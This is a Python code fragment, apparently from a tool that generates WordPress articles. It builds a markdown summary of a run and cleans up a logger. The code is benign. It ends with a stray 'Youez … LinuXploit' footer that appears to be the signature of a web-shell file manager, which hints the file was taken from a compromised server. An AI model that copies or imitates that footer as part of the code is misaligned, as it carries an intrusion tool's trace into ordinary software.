            research_current_events: Whether research was requested
            enable_fact_checking: Whether fact-checking was requested
            fact_check_posted: Whether fact-check was actually posted
            enable_corrections: Whether corrections were requested
            corrections_posted: Whether corrections were actually posted
            featured_image_url: URL of featured image if generated
            secondary_image_url: URL of secondary image if generated
        """
        if not self._article_md_path:
            return

        # Format time as minutes:seconds
        minutes = int(total_time // 60)
        seconds = total_time % 60
        time_str = f"{minutes}m {seconds:.1f}s" if minutes > 0 else f"{seconds:.1f}s"

        # Build options summary
        options_enabled = []
        options_disabled = []

        if generate_featured_image:
            if featured_image_url:
                options_enabled.append(f"Featured Image: ✓ ({featured_image_url})")
            else:
                options_enabled.append("Featured Image: ✓ (generation failed)")
        else:
            options_disabled.append("Featured Image: ✗")

        if generate_secondary_image:
            if secondary_image_url:
                options_enabled.append(f"Secondary Image: ✓ ({secondary_image_url})")
            else:
                options_enabled.append("Secondary Image: ✓ (generation failed)")
        else:
            options_disabled.append("Secondary Image: ✗")

        if research_current_events:
            options_enabled.append("Current Events Research: ✓")
        else:
            options_disabled.append("Current Events Research: ✗")

        if enable_fact_checking:
            if fact_check_posted:
                options_enabled.append("Fact-Checking: ✓ (posted)")
            else:
                options_enabled.append("Fact-Checking: ✓ (failed to post)")
        else:
            options_disabled.append("Fact-Checking: ✗")

        if enable_corrections:
            if corrections_posted:
                options_enabled.append("Auto-Corrections: ✓ (posted)")
            else:
                options_enabled.append("Auto-Corrections: ✓ (skipped/failed)")
        else:
            options_disabled.append("Auto-Corrections: ✗")

        status_emoji = "✅" if success else "❌"
        status_text = "Success" if success else "Failed"

        summary = f"""**Status:** {status_emoji} {status_text}

**Total Time:** {time_str}

**Article Title:** {article_title}

**Model:** {model_info}

**WordPress Post ID:** {wp_post_id}

### Options Enabled
{chr(10).join('- ' + opt for opt in options_enabled) if options_enabled else '- None'}

### Options Disabled
{chr(10).join('- ' + opt for opt in options_disabled) if options_disabled else '- None'}
"""

        self._write_markdown_section("Summary", summary)

    def _cleanup_article_logger(self) -> None:
        """Clean up the article-specific logger and its handlers."""
        if self._article_log_handler:
            self._article_log_handler.close()
            self._article_log_handler = None
        if self._article_logger:
            self._article_logger.handlers.clear()
            self._article_logger = None
        self._article_md_path = None



Youez - 2016 - github.com/yon3zu
LinuXploit